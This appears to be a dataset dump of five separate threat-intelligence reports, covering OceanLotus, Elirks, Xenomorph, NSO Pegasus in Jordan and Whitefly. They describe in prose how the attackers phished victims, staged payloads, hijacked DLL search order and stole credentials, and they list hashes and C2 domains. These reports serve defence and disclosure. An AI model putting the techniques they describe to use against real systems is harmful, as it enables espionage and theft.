text
stringlengths 8
115k
|
---|
# OceanLotus — 数字海洋的游猎者
## 第一章 OceanLotus 概述
2012年4月起,某境外黑客组织对中国政府、科研院所、海事机构、海域建设、航运企业等相关重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。该组织主要通过鱼叉攻击和水坑攻击等方法,配合多种社会工程学手段进行渗透,向境内特定目标人群传播特种木马程序,秘密控制部分政府人员、外包商和行业专家的电脑系统,窃取系统中相关领域的机密资料。
根据该组织的某些攻击特点,我们将其命名为 OceanLotus。目前已经捕获的与 OceanLotus 相关的第一个特种木马出现在2012年4月。在此后的3年中,我们又先后捕获了与该组织相关的4种不同形态的特种木马程序样本100余个,这些木马的感染者遍布国内29个省级行政区和境外的36个国家。此外,为了隐蔽行踪,该组织还至少先后在6个国家注册了用于远程控制被感染者的C2(也称C&C,是Command and Control的缩写)服务器域名35个,相关服务器IP地址19个,服务器分布在全球13个以上的不同国家。
从 OceanLotus 发动攻击的历史来看,以下时间点和重大事件最值得关注:
1. 2012年4月,首次发现与该组织相关的木马。OceanLotus 组织的渗透攻击就此开始。但在此后的两年左右时间里,OceanLotus 并不活跃。
2. 2014年2月,OceanLotus 开始通过鱼叉攻击的方法对我们国内目标发起定向攻击,OceanLotus 进入活跃期,并在此后的14个月内对我国多个目标发动了不间断的持续攻击。
3. 2014年5月,OceanLotus 对国内某权威海洋研究机构发动大规模鱼叉攻击,并形成了过去14个月中鱼叉攻击的最高峰。
4. 同样是在2014年5月,OceanLotus 还对国内某海洋建设机构的官方网站进行了篡改和挂马,形成了第一轮规模较大的水坑攻击。
5. 2014年6月,OceanLotus 开始大量向中国渔业资源相关机构团体发鱼叉攻击。
6. 2014年9月,OceanLotus 针对于中国海域建设相关行业发起水坑攻击,形成了第二轮大规模水坑攻击。
7. 2014年11月,OceanLotus 开始将原有特种木马大规模更换为一种更具攻击性和隐蔽性的云控木马,并继续对我国境内目标发动攻击。
8. 2015年1月19日,OceanLotus 针对中国政府某海事机构网站进行挂马攻击,第三轮大规模水坑攻击形成。
9. 2015年3月至今,OceanLotus 针对更多中国政府直属机构发起攻击。
通过对 OceanLotus 组织数年活动情况的跟踪与取证,我们已经确认了大量的受害者。从地域分布上看,OceanLotus 特种木马的境内感染者占全球感染总量的92.3%。而在境内感染者中,北京地区最多,占22.7%,天津次之,为15.5%。
技术分析显示,初期的 OceanLotus 特种木马技术并不复杂,比较容易发现和查杀。但到了2014年以后,OceanLotus 特种木马开始采用包括文件伪装、随机加密和自我销毁等一系列复杂的攻击技术与安全软件进行对抗,查杀和捕捉的难度大大增加。而到了2014年11月以后,OceanLotus 特种木马开始转向云控技术,攻击的危险性、不确定性与木马识别查杀的难度都大大增强。
综合来看,OceanLotus 组织的攻击周期之长(持续3年以上)、攻击目标之明确、攻击技术之复杂、社工手段之精准,都说明该组织绝非一般的民间黑客组织,而很有可能是具有国外政府支持背景的、高度组织化的、专业化的境外国家级黑客组织。
## 第二章 OceanLotus 攻击手法
### 一、攻击手法概述
OceanLotus 主要使用两类攻击手法,一类是鱼叉攻击,一类是水坑攻击。鱼叉攻击(Spear Phishing)是针对特定组织的网络欺诈行为,目的是通过授权访问机密数据,最常见的方法是将木马程序作为电子邮件的附件发送给特定的攻击目标,并诱使目标打开附件。水坑攻击(Water Holing)是指黑客通过分析攻击目标的网络活动规律,寻找攻击目标经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待攻击目标访问该网站时实施攻击。
从目前受害者遭到攻击的情况看,鱼叉攻击占58.6%,水坑攻击占41.4%。
### 二、鱼叉攻击
OceanLotus 组织会非常有针对性地挑选目标机构,并收集目标机构人员的邮箱信息,再通过向这些邮箱中投递恶意邮件实现定向攻击。当受害者不小心点击执行邮件附件后,电脑就会感染 OceanLotus 特种木马,木马与 C2 服务器相连接后,用户系统由此就落入 OceanLotus 组织的控制网络中。监测显示,从2014年2月至今,OceanLotus 的鱼叉攻击始终没有停止,每个月都有新的受害者增加。
在 OceanLotus 用于进行鱼叉攻击的邮件中(以下简称“鱼叉邮件”),附件通常是使用 Microsoft Word 程序图标的 .exe 可执行文件,为了提高攻击的成功率,攻击者通常会采用当前热点事件或关乎用户自身利益的话题为文件名,甚至有的文件名与所攻击的目标机构看起来有密切关联,形成非常显著的定向 APT 攻击的特征。
### 三、水坑攻击
OceanLotus 组织在设置水坑时,主要采用两类方式:一是入侵与目标相关的 Web 应用系统,替换正常文件或引诱下载伪造的正常应用升级包,以实现在目标用户系统上执行恶意代码的目的;二是入侵与目标相关的 Web 应用系统后,篡改其中链接,使其指向 OceanLotus 设置的恶意网址,并在指向的恶意网址上设置木马下载链接。
为了避免暴露,OceanLotus 发动水坑攻击的持续周期一般很短,通常是在3-5天之内,几天之后攻击完成,OceanLotus 就会将篡改的内容删除或恢复,将设置的水坑陷阱填平。因此,通常来说,想要事后复原水坑攻击的现场比较困难。
### 四、域名变换
为了隐藏自己的真实身份,OceanLotus 组织经常变换下载服务器和 C2 服务器的域名和 IP。统计显示,在过去的3年中,该组织至少使用了 C2 服务器域名35个,相关服务器 IP 地址19个。而且大多数域名为了抵抗溯源都开启了 Whois 域名隐藏,使得分析人员很难知道恶意域名背后的注册者是谁。
## 第三章 特种木马技术
从具体的攻击技术来看,OceanLotus 先后使用过4种主要形态的特种木马,其中3种是 Windows 木马,一种是 MAC 系统木马。虽然这4种形态的木马均是以窃取感染目标电脑中的机密数据为目的,但从攻击原理和攻击方式来看,却有着很大的区别。特别是针对 Windows 系统的3种特种木马形态,其出现时间有先有后,危险程度不断升级,攻击方式从简单到复杂、从本地到云控,可以让我们清楚的看到该组织木马的技术发展脉络和攻击思路的不断转变。
根据这4种木马形态的攻击特点,我们将其分别命名为:OceanLotus Tester,OceanLotus Encryptor,OceanLotus Cloudrunner,OceanLotus MAC。
### 一、OceanLotus Tester
OceanLotus Tester 最早被捕获于2012年,是一种比较简单的木马,与民用领域所见的一般间谍程序差别不大,安全软件也比较容易将其识别出来。从历史监测的数据来看,Tester 的感染量微乎其微,在早期被捕获以后,长期处于不活跃的状态,在当时属于孤立出现的木马样本。
### 二、OceanLotus Encryptor
Encryptor 木马最早被截获于2014年2月。当时,安全人员截获了一批将自身图标伪装成 Word 文档或 JPG 文档的“ .exe”文件,而且这些文件都还使用了一些颇具迷惑性的社工类文件名。Encryptor 木马的主要作用是打包和向 C2 服务器上传电脑中存在的各种 Office 文档,包括 Word、PPT、Outlook 邮箱文件等。
### 三、OceanLotus Cloudrunner
Cloudrunner 木马最早被截获于2014年11月。与之前的 Encryptor 木马不同,Cloudrunner 木马只是一个体量很小的可执行文件,木马本身不显现任何恶意特征,在完成初始的感染以后,却会自动从指定的服务器上将其他木马程序下载到被感染的电脑上。这种攻击方式具有明显的云控特点。
### 四、OceanLotus MAC
OceanLotus MAC 与 OceanLotus Encryptor 大致出现在同一时期,二者都属于 OceanLotus 使用的第二代木马程序。MAC 木马主要针对 Mac OS 系统,主要作用是在水坑网站中诱骗用户下载执行。
## 第四章 OceanLotus 能力分析
通过对 OceanLotus 组织所使用的恶意代码、攻击载荷和诱饵数据的分析,该组织内部可能有多个小组,每个小组有自己的分工。组织中各组可能针对性地收集社工信息、开发定制的工具以及对窃取的情报进行集中二次处理挖掘,各个环节紧密配合,并在其内部共享窃取的情报信息和攻击载荷。
## 第五章 OceanLotus 攻击的捕获
随着“互联网+”时代的到来,越来越多的政府机构和企事业单位实现了网络化办公,并将内部的办公网络与外部的互联网相连。企业的互联网化在提高企业办公效率的同时,也使内部网络面临着越来越多的来自全球各地不同目的攻击者的网络攻击。
OceanLotus 所发动的 APT 攻击,攻击周期长达3年之久,攻击地域遍布国内29个省级行政区和境外的36个国家,鱼叉攻击、水坑攻击,前后不下几十个轮次,被黑网站也多达十几个。
天眼实验室此次捕获的 OceanLotus 组织及其攻击,主要使用了多维度大数据关联分析的方法。我们将百亿级的恶意程序样本库、数亿级的安全终端的防护数据、PB级的搜索引擎的全网抓取数据以及其他多个维度的互联网大数据进行了关联分析和历史检索,最终在每天海量的网络攻击事件中定位出与 OceanLotus 相关的各种攻击事件和攻击元素,最终绘制出 OceanLotus 组织对我国境内目标发动 APT 攻击的全貌。 |
# Tracking Elirks Variants in Japan: Similarities to Previous Attacks
Kaoru Hayashi
A recent, well-publicized attack on a Japanese business involved two malware families, PlugX and Elirks, that were found during the investigation. PlugX has been used in a number of attacks since first being discovered in 2012, and we have published several articles related to its use, including an analysis of an attack campaign targeting Japanese companies.
Elirks, less widely known than PlugX, is a basic backdoor Trojan, first discovered in 2010, that is primarily used to steal information from compromised systems. We mostly observe attacks using Elirks occurring in East Asia. One of the unique features of the malware is that it retrieves its C2 address by accessing a pre-determined microblog service or SNS. Attackers create accounts on those services and post encoded IP addresses or the domain names of real C2 servers in advance of distributing the backdoor. We have seen multiple Elirks variants using Japanese blog services for the last couple of years.
In another sample found in 2014, an attacker used a Japanese blog service. The relevant account still exists at the time of writing this article.
Unit 42 previously identified an Elirks variant during our analysis of the attack campaign called Scarlet Mimic. It is a years-long campaign targeting minority rights activists and governments. The malware primarily used in this series of attacks was FakeM. Our researchers described the threat sharing infrastructure with Elirks in the report.
As of this writing, we can note similarities between previously seen Elirks attacks and this recent case in Japan.
## Spear Phishing Email with PDF attachment
The email characteristics were bit similar to the recent case:
| Year | Email Characteristics |
|------|-----------------------|
| 2012 | Masquerades as an existing bank in Taiwan |
| | Representative email address of a ministry of Taiwan, which is publicly available. |
| | “Bank credit card statement” in Chinese |
| | PDF file named “Electronic Billing 1015” in Chinese |
| 2016 | Masquerade as an existing aviation company in Japan |
| | Representative email address of a subsidiary company, which is publicly available. |
| | “Airline E-Ticket” in Japanese |
| | File named “E-TKT” in Japanese with PDF icon |
When a user opened the attached PDF file, the following message is displayed. It exploits a vulnerability in Adobe Flash, CVE-2011-0611 embedded in the PDF and installs Elirks malware on the system.
## Airline E-Ticket
Attackers choose a suitable file name to lure targeted individual or organization. In the recent case, the malicious attachment name in the email was reported as “E-TKT”. We found a similar file name in the previous attack in Taiwan in August 2012. When opening the file, Elirks executes itself on the computer and creates ticket.doc to deceive users.
We’ve also seen another file name related to aviation in Taiwan in March 2012. When opening the PDF file named “Airline Reservation Numbers (updated version).pdf”, it displays the exactly same message, exploits CVE-2011-0611, and installs Elirks.
## Conclusion
Currently, we have found no reliable evidence to indicate the same adversary attacked a company in Japan in 2016 and multiple organizations in Taiwan in 2012. However, we can see some resemblances between the two attacks. In both cases, attackers used the same malware family, crafted spear phishing emails in a similar manner, and seem to be interested in some areas related to aviation. We have been seeing multiple Elirks variants targeting Japan in the last few years, potentially indicating an ongoing cyber espionage campaign. We will keep an eye on the threat actors.
Palo Alto Networks customers are protected from Elirks variant and can gather additional information using the following tools:
- WildFire detects all known Elirks samples as malicious
- All known C2s are classified as malicious in PAN-DB
- AutoFocus tags have been created: Elirks
### Indicators:
**Executable File:**
- 8587e3a0312a6c4374989cbcca48dc54ddcd3fbd54b48833afda991a6a2dfdea
- 0e317e0fee4eb6c6e81b2a41029a9573d34cebeabab6d661709115c64526bf95
- f18ddcacfe4a98fb3dd9eaffd0feee5385ffc7f81deac100fdbbabf64233dc68
**Delivery PDF:**
- 755138308bbaa9fcb9c60f0b089032ed4fa1cece830a954ad574bd0c2fe1f104
- 200a4708afe812989451f5947aed2f30b8e9b8e609a91533984ffa55d02e60a2 |
# Rise of Banking Trojan Dropper in Google Play
The Zscaler ThreatLabz team has recently discovered the Xenomorph banking trojan embedded in a lifestyle app in the Google Play store. The app is “Todo: Day manager,” and has over 1,000 downloads. This is the latest in a disturbing string of hidden malware in the Google Play store: in the last 3 months, ThreatLabz has reported over 50+ apps resulting in 500k+ downloads, embedding such malware families as Joker, Harly, Coper, and Adfraud.
Xenomorph is a trojan that steals credentials from banking applications on users’ devices. It is also capable of intercepting users’ SMS messages and notifications, enabling it to steal one-time passwords and multifactor authentication requests. Our analysis found that the Xenomorph banking malware is dropped from GitHub as a fake Google Service application upon installation of the app. It starts with asking users to enable access permission. Once provided, it adds itself as a device admin and prevents users from disabling Device Admin, making it uninstallable from the phone. Xenomorph creates an overlay onto legit banking applications to trick users into entering their credentials.
A similar infection cycle was observed three months ago with the Coper banking trojan. This trojan was similarly embedded in apps on the Google Play store and sourced its malware payload from the GitHub repo.
## Technical Details
Below is the Xenomorph infection cycle once a user downloads an app and opens it.
When the app is first opened, it reaches out to a Firebase server to get the stage/banking malware payload URL. It then downloads the malicious Xenomorph banking trojan samples from GitHub. This banking malware later reaches out to the command-and-control (C2) servers decoded either via Telegram page content or from a static code routine to request further commands, extending the infection. The parent malware downloader (Google Play Store) application gets its config from Firebase.
As shown in the above screenshot, the malware will only download further banking payloads if the “Enabled” parameter is set to true. The following screenshot shows how the Firebase database malware uses GitHub links to download Xenomorph payloads.
The screenshots below show the C2 retrieval from a Telegram page. Here the banking payload has the Telegram page link encoded with RC4 encryption. Upon execution, the banking payload will reach out to the Telegram page and download the content hosted on that page.
As per the following screenshot, the payload will decrypt the C2 server address from the downloaded content. ThreatLabz also observed RC4 encoded C2 domains stored inside the code. The following screenshot shows the C2 request in which the payload sends all the installed applications to C2 in order to receive further instructions. In one case, it will present the fake login page of a targeted banking application if the legitimate application is installed in the infected device.
ThreatLabz also observed another application, named “経費キーパー” (Expense Keeper), exhibiting similar behavior. On execution of this application, it is observed that the “Enabled parameter” is set to false, same as the execution previously shown. Due to that, it was not possible to retrieve the Dropper URL for the banking payload. ThreatLabz is working with the Google Security team for the same.
## IoCs
- **Package Name**: com.todo.daymanager
**MD5**: d81f9c03c412b11df357f0878c9c5cad9319c7eea11b5c46d0c624995bc09563
- **Package Name**: com.setprice.expenses
**MD5**: 58d634230951ee7699a4b4740e12be8e93a28bd183f61447832bd1d5d98160d8
### Xenomorph banking trojan
| Package Name | MD5 |
|-----------------------------|-----------------------------------|
| njuknf.cpvmqe.degjia | b8b8706807a97c40940109a93058c3d0 |
| ylyove.pkmcsy.upvpta | 98ea3fe61fde0c053dfac61977a11488 |
| ylykau.jhfxjd.hlhhwl | df57895cfc79ee8812aac5756ab4bcc8 |
| lkvrny.bbslie.mrgsdy | 73511ef7bb9d59b3d91dbeef5f93eec0 |
| gkapsv.nlitfn.fzteaf | f0b001dbe36f45cedcb15e3f9fc02fd7 |
| binono.bgcwvl.iupqtk | 8437e226e55ba6dea9a168bee5787b0d |
| cfbyzn.zhxxjj.sziece | 8f66412e945ca9a75797d5f5eba9765c |
| gfgnfe.rcsjkm.abwxdj | 6a117cafa32a680dc94f455745291f0f |
| usyjui.monkab.acacpn | cb9500f910bd655df444f7d43d0298f9 |
| gnvbgm.ipblyp.bpnyrg | d95c03247a58d3fabb476a7f3241f3a1 |
| xsgrsn.nicojr.uaqxws | cd63afae858fdf75f34aae05e36b8a34 |
| xhlkae.ligagt.dmihjy | c5d510251a34f52427d133a6f9248cbf |
| qlvsvm.oqsncp.otgbxc | 781bbaee614697beecfcbe9a2f9dd820 |
| rxreyj.obxmlg.rjluib | 49c4801abb6c92d17c8021c2f656c644 |
| brpdxm.orolnd.jsxhrp | 1829589d95bdd2c30f0bef154decd426 |
| wwzaqw.eejyqr.czrldy | e834676cdbd63ce4eb613499605dc365 |
| ogbfbt.rhrnua.kccuoh | 9e498ba660bdcb279149e6a5986c2793 |
| lnckvn.vlmjxx.uwcpub | 4b2e849543b0ecaec1885170a5ef5243 |
| vjqfyn.ygmzrs.trlvch | 7e4f1deb5b21d47a7c41ef1a5f43a2f2 |
| blglyu.rjqwgg.vveize | 7f574986dc8a03e6a4cba60d1ac4f7d1 |
### C2s
- hxxps://github.com/blsmcamp/updt
- gogoanalytics.click
- gogoanalytics.digital
## Conclusion
At Zscaler, we proactively detect and monitor such applications to secure our clients. Such bank phishing installers most of the time rely on tricking users to install malicious applications. Users are advised to keep an eye on what application is being installed. A Play Store application is not supposed to side load or ask users to install from unknown sources. We believe hostile phishing downloaders will further increase in prevalence in the future. User vigilance is of the utmost importance to defeat these phishing campaigns. |
# Peace through Pegasus: Jordanian Human Rights Defenders and Journalists Hacked with Pegasus Spyware
**Key Findings**
- Phones belonging to four Jordanian human rights defenders, lawyers, and journalists were hacked with NSO Group’s Pegasus spyware between August 2019 and December 2021.
- At least two of the four targets were hacked by Pegasus operators primarily focused on Jordan, based on SMS messages containing Pegasus links that map to a cluster of domain names focusing on Jordanian themes.
- One of the targets’ iPhones was successfully hacked on December 5, 2021, showing that NSO Group has remained active on Apple’s platform even after Apple sued NSO Group and notified Pegasus targets in November 2021.
- We identify two Pegasus operators that we believe are likely agencies of the Jordanian government. The first, which we name MANSAF, has been active since at least December 2018, and the second, which we name BLACKIRIS, has been active since at least December 2020.
- Our findings build on an earlier report from Front Line Defenders, which found that the phone of Hala Ahed Deeb, a Jordanian lawyer and woman human rights defender, was infected with Pegasus.
## 1. Human Rights in Jordan
Jordanian human rights defenders (HRDs) work in a generally hostile environment. Since the Arab Spring in 2011, grassroots protests have emerged, reflecting growing discontent with government corruption and wealth inequality, among other issues. In response, authorities have often arrested activists and curtailed freedoms.
Jordan saw a wave of protests in 2011, driven partly by the Hirak, groups of youth activists not connected with traditional centres of political power in Jordan. Protests flared up again in June 2018, galvanised by a government plan to increase taxes and reduce subsidies, as required by the International Monetary Fund (IMF). More than 30 trade unions called a general strike, and protesters occupied the Fourth Circle area of Amman near the Prime Minister’s office. In response, the government temporarily withdrew the bill, and re-introduced it in September 2018 with minor changes. When the bill’s final text was published in the Official Gazette in December 2018, activists once again held protests in the Fourth Circle that persisted into 2019. In March 2019, Jordanian authorities began a wave of arrests against Hirak members, charging them with “insulting the King” and “undermining the political regime.”
In September 2019, Jordan’s largest union, the Jordanian Teachers Syndicate (JTS), announced a strike for higher wages. The strike shut down most schools in Jordan for a month, and the government was forced to agree to a pay increase. However, in April 2020, the government cancelled the pay increase, citing the COVID-19 pandemic. When JTS planned a new wave of protests, the government arrested JTS’ entire board, ordered their offices closed for two years, and issued a gag order preventing public discussion of the case. Nevertheless, teachers protested again in July 2020, and Jordanian security forces responded by arresting around 1000 teachers. February and March 2022 saw additional crackdowns on activists. Detainees were charged with “spreading false news” and “inciting strife.”
## 2. Hacking of Jordanian Targets
In January 2022, Front Line Defenders published a report finding that the phone of Hala Ahed Deeb, a Jordanian lawyer and woman human rights defender, was infected with Pegasus. Following publication, Front Line Defenders received numerous requests from Jordanian human rights defenders, journalists, and other civil society activists to inspect their devices. Front Line Defenders checked more than 60 iPhones in collaboration with the Citizen Lab, with case referrals from the Jordan Open Source Association. Three of the victims consented to be identified, while one wished to remain anonymous. The results of our forensic analysis were peer reviewed by Amnesty International’s Security Lab.
### Victim: Ahmed Al-Neimat
Ahmed Al-Neimat is a human rights defender, an anti-corruption activist, and a member of the Hirak movement. In 2019, Al-Neimat was arrested for “insulting the king.” In 2020, Al-Neimat was arrested after he filed a complaint at the National Center for Human Rights (Jordan’s national human rights body) and was only released after signing a pledge to never return to the Center. In 2021, Al-Neimat was again arrested after he posted bail for another arrested Hirak activist. In February 2022, Al-Neimat was again arrested in a case relating to protests against the situation at Al-Salt State Hospital, where lack of oxygen killed several COVID-19 patients. He is currently in prison as of the publication of this report.
**Hacking of Ahmed Al-Neimat**
Al-Neimat’s phone logs show that his phone was hacked on or around January 28, 2021, for a period of approximately two days. The logs indicate that this was a zero-click exploit, likely the FORCEDENTRY exploit. We had not previously seen any cases of FORCEDENTRY deployed before February 2021, making this the earliest suspected FORCEDENTRY case.
### Victim: Malik Abu Orabi
Malik Abu Orabi is a human rights lawyer and a member of the National Forum for the Defense of Liberties. Orabi is one of the lawyers defending the JTS and is also the lawyer of Al-Neimat. Orabi was arrested at a protest in March 2021 and fined 100 Jordanian dinars (approximately 110 USD) for violating COVID-19 restrictions. Front Line Defenders has documented Orabi’s case.
**Hacking of Malik Abu Orabi**
We identified the following text messages on Orabi’s phone that contain links to Pegasus servers.
| Sender | Date | Message Translation |
|----------------|---------------|---------------------|
| SMSALERT | 22 Sep 2019, 15:32 | A letter to the governor without limitations and with a high stakes from Bashar Al-Rawashdeh [a Jordanian political activist] received high reactions among Hirak and Islamic circles, for details [link] |
| SMSALERT | 29 Sep 2019, 17:10 | Salem Al-Falahat and Mr. Peel, a critical statement indicating the politicization of the Teachers Syndicate and its wrapping under the cloak of the Muslim Brotherhood, for details [link] |
| Info | 20 Mar 2020, 12:49 | Lawyer Malik Abu Orabi and running for the upcoming parliamentary election, for details [link] |
Orabi’s phone was hacked at least 21 times between August 2019 and July 2021.
### Victim: Suhair Jaradat
Suhair Jaradat is a human rights defender and journalist, who won the Al-Hussain Prize for Creativity in Journalism in 2006 and in 2018. Jaradat serves on the Executive Committee of the International Federation for Journalists (IFJ) and is an advocate for women’s issues in media.
**Hacking of Suhair Jaradat**
We identified the following SMS message on Jaradat’s phone containing a link to the Pegasus spyware:
| Sender | Date | Message Translation |
|----------------|---------------|---------------------|
| Routee | 11 May 2020, 11:20 | Jaradat is waging war on the rich and the government that sponsors them [link] |
| +3197010210453 | 4 Jan 2021, 11:32 | I would like to present to you my humble account for your evaluation, as I will direct the account to support the free people and raise the existing injustice towards teachers, journalists, and lawyers [link] |
| +3197010210453 | 5 Dec 2021, 09:32 | Great article and realistic projections [link] |
Jaradat’s iPhone was hacked six times between February and December 2021.
### Victim: WHRD and Journalist A
WHRD and Journalist A is a Jordanian Woman Human Rights Defender (WHRD) and journalist, who has chosen to remain anonymous due to the risks that she faces. Her phone was hacked at least twice, once on or around 2021-10-03, and once on or around 2021-10-05.
## 3. Spyware in Jordan
The Jordanian Government appears to have used spyware for a number of years, including FinFisher spyware, which the Citizen Lab detected in December 2014. However, no civil society targets of FinFisher spyware in Jordan have been publicly identified.
**Suspected Jordanian Use of Pegasus**
Based on our Internet scanning and monitoring of NSO Pegasus servers at the Citizen Lab, we believe that there are two Pegasus customers that are primarily focused on spying in Jordan. One of the customers, which we name MANSAF, appears to be spying primarily in Jordan, with limited additional operations in Iraq, Lebanon, and Saudi Arabia. We believe that MANSAF has been operating since December 2018. The other customer, which we name BLACKIRIS, appears to be spying almost exclusively in Jordan and has been active since at least December 2020. An April 2021 report in Axios mentioned negotiations between NSO Group and Jordanian authorities “in recent months,” with one source mentioning a contract had been signed.
**Targets in this Case**
Both Jaradat and Orabi received text messages that included links to Pegasus websites. The websites matched our Internet scanning for Pegasus servers and appear to all have been registered by Dreamhost. This is noteworthy as we have typically observed different Pegasus customers’ infrastructure set up with different hosting providers.
| Domain Name | What is it? |
|---------------------------------|--------------|
| akhbar-almasdar[.]com | |
| akhbar-islamyah[.]com | |
| akhbarnew[.]com | |
| al-nusr[.]net | |
| al-taleanewsonline[.]net | May impersonate Jordanian news website al-taleanews[.]net |
| al7erak247[.]com | May be a reference to the Jordanian Hirak movement |
| alrainew[.]com | May impersonate Jordanian news website alrai[.]com |
| arabia-islamion[.]com | |
| cozmo-store[.]net | May impersonate Jordanian retailer Cozmo |
| khilafah-islamic[.]com | |
| login-service[.]net | |
| mangoutlet[.]net | May be a reference to Mango, a Spanish clothing retailer with stores in dozens of countries around the world |
| mobiles-security[.]net | |
| rss-me[.]com | |
| talabatt[.]net | May impersonate Talabat food delivery service that operates in the Middle East |
| unsubscribe-now[.]net | |
| www.al7eraknews[.]com | May be a reference to the Jordanian Hirak movement |
| www.hona-alrabe3[.]com | May be a reference to the Fourth Circle area of Amman, which is near Jordan’s Prime Ministry, and is often a focal point of protests |
While we cannot directly connect these names to any specific Pegasus operator, we do believe that this cluster of domains shows a focus indicative of Jordan.
## 4. Conclusion
In this report, we find once again that a government client of NSO Group has used Pegasus to spy on civil society targets that are neither terrorists nor criminals. This case adds to the large number of other cases of abuse of Pegasus worldwide, which amount to an indisputable indictment against NSO Group and its ownership for their inability or unwillingness to put in place even the most basic human rights-respecting safeguards. The fact that the targeting we uncovered happened after the widespread publicity around Apple’s lawsuit and notifications to victims is especially remarkable; a firm that truly respected such concerns would have at least paused operations for government clients, like Jordan, that have a widely publicised track record of human rights concerns and had enacted emergency powers giving authorities widespread latitude to infringe on civil liberties.
## Gender Dimensions of Online Surveillance
The targeting of women HRDs merits special attention. Our research, and that of a growing number of others, has documented a disturbing rise in gender-based digital repression practices. Pegasus mercenary spyware guarantees the state’s clients to have full control over the infected devices’ camera, microphone, emails, applications, text messages, call logs, and to obtain unlimited amounts of the targets’ data. In the case of female targets, the risk is higher. It is seriously concerning that private chats, private photographs, and other personal data may have been exfiltrated from the female targets’ devices.
Women are also disproportionately vulnerable to online harms, blackmail, and digitally-related acts of violence or technology-facilitated gender-based violence, especially in patriarchal societies and in countries with discriminatory practices and laws against women. In conservative countries like Jordan, women are frequently the subject of “family honour” and “honour crimes,” which are rendered immune by state regulations and practices. There are multifold and severe impacts on female activists and journalists who experience device hacking, such as blackmail and harassment, judicial consequences, social impacts, physical or emotional harm, the undermining of freedom of expression, self-censorship, loss of employment, and a negative impact on self-worth and dignity. Moreover, such attacks are not isolated to the victims themselves; they can impact the lives of vulnerable people in their communities who journalists and activists document and on whose behalf they undertake advocacy.
As Lama Fakih, director of Middle East and North Africa at Human Rights Watch, who was also targeted with Pegasus, pointed out: “My first thought when I found out I was targeted was ‘How does this impact the people I am advocating for in my network?”
According to sociologist Sarah Sobieraj, “[e]ntering and using digital publics to share work, ideas, opinions, and experiences often comes at a great cost for women” who “bear the brunt of digital hate.”
As Access Now and Front Line Defenders noted in a previous report regarding the targeting of women HRDs in Bahrain and Jordan with Pegasus spyware, the impacts for women are particularly severe, causing women to “live in a perpetual state of fear, become socially isolated and restricted in their social lives, work, and activism.” Our latest report adds yet another troubling indicator to the NSO Group file and to the deeply harmful impact that the use of Pegasus spyware has on women activists. The fact that Jaradat and WHRD/Journalist A are also both women journalists compounds and amplifies these concerns.
There can be no doubt that NSO Group has become one of the world’s leading purveyors of these harms, and its continued use will invariably contribute to further discrimination against women and marginalized groups. Going forward, further research into the impact of digital repression on women HRDs in the Global South is critical. Amplifying the voices of women in the Global South targeted by Pegasus spyware, as well as other forms of digital repression, is important to showing how severe the impacts of digital repression are—particularly in regions where human rights are routinely disregarded—and bringing accountability to an industry running wild.
## Acknowledgements
Thanks to a contributor who wishes to remain anonymous. Thanks to the Jordan Open Source Association (JOSA) for case referrals. Thanks to Amnesty International’s Security Lab for peer review. Thanks to John Scott-Railton, Adam Senft, and Miles Kenyon for review and assistance.
## Appendix A: Dates of Hacking
**Dates of Hacking of Ahmed Al-Neimat**
On or around 2021-01-28
**Dates of Hacking of Malik Abu Orabi**
On or around 2019-08-25
On or around 2019-08-26
On or around 2019-09-05
On or around 2020-03-20
On or around 2021-03-16
On or around 2021-03-17
On or around 2021-03-20
On or around 2021-03-24
On or around 2021-04-16
On or around 2021-04-22
On or around 2021-04-25
On or around 2021-04-28
On or around 2021-05-02
On or around 2021-05-06
On or around 2021-05-20
On or around 2021-06-06
On or around 2021-06-11
On or around 2021-06-27
On or around 2021-07-01
On or around 2021-07-04
On or around 2021-07-09
**Dates of Hacking of Suhair Jaradat**
On or around 2021-02-08
On or around 2021-02-21
On or around 2021-04-09
On or around 2021-06-07
On or around 2021-07-17
On or around 2021-12-05
**Dates of Hacking of WHRD and Journalist A**
On or around 2021-10-03
On or around 2021-10-05 |
# Whitefly: Espionage Group has Singapore in Its Sights
The group behind the SingHealth breach is also responsible for a string of other attacks in the region. In July 2018, an attack on Singapore’s largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.
Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics, such as malicious PowerShell scripts.
## Whitefly’s targets
From mid-2017 to mid-2018, Whitefly launched targeted attacks against multiple organizations. While most of these organizations were based in Singapore, some were multinational organizations with a presence in Singapore. To date, Whitefly has attacked organizations in the healthcare, media, telecommunications, and engineering sectors.
## How Whitefly compromises its victims
Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image. These files frequently purport to offer information on job openings or appear to be documents sent from another organization operating in the same industry as the victim. Given the nature of disguise, it’s highly likely that they are sent to the victim using spear-phishing emails. If opened, the dropper runs a loader known as Trojan.Vcrodat on the computer.
Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. This technique takes advantage of the fact that Windows does not require an application to provide a specific path for a DLL that it wishes to load. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges.
Once executed, Vcrodat loads an encrypted payload onto the victim’s computer. The payload contacts a command and control (C&C) domain. Whitefly configures multiple C&C domains for each target. The payload sends system information about the infected computer to the C&C server and downloads additional tools. Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information.
Once the initial computer on the targeted organization’s network is infected with Vcrodat, Whitefly begins mapping the network and infecting further computers. In order to carry out this operation, it uses publicly available tools, including Mimikatz (Hacktool.Mimikatz) and an open-source tool that exploits a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers. The attackers rely heavily on tools such as Mimikatz to obtain credentials. Using these credentials, the attackers are able to compromise more machines on the network and, from those machines, again obtain more credentials. They perform this tactic repeatedly until they gain access to the desired data.
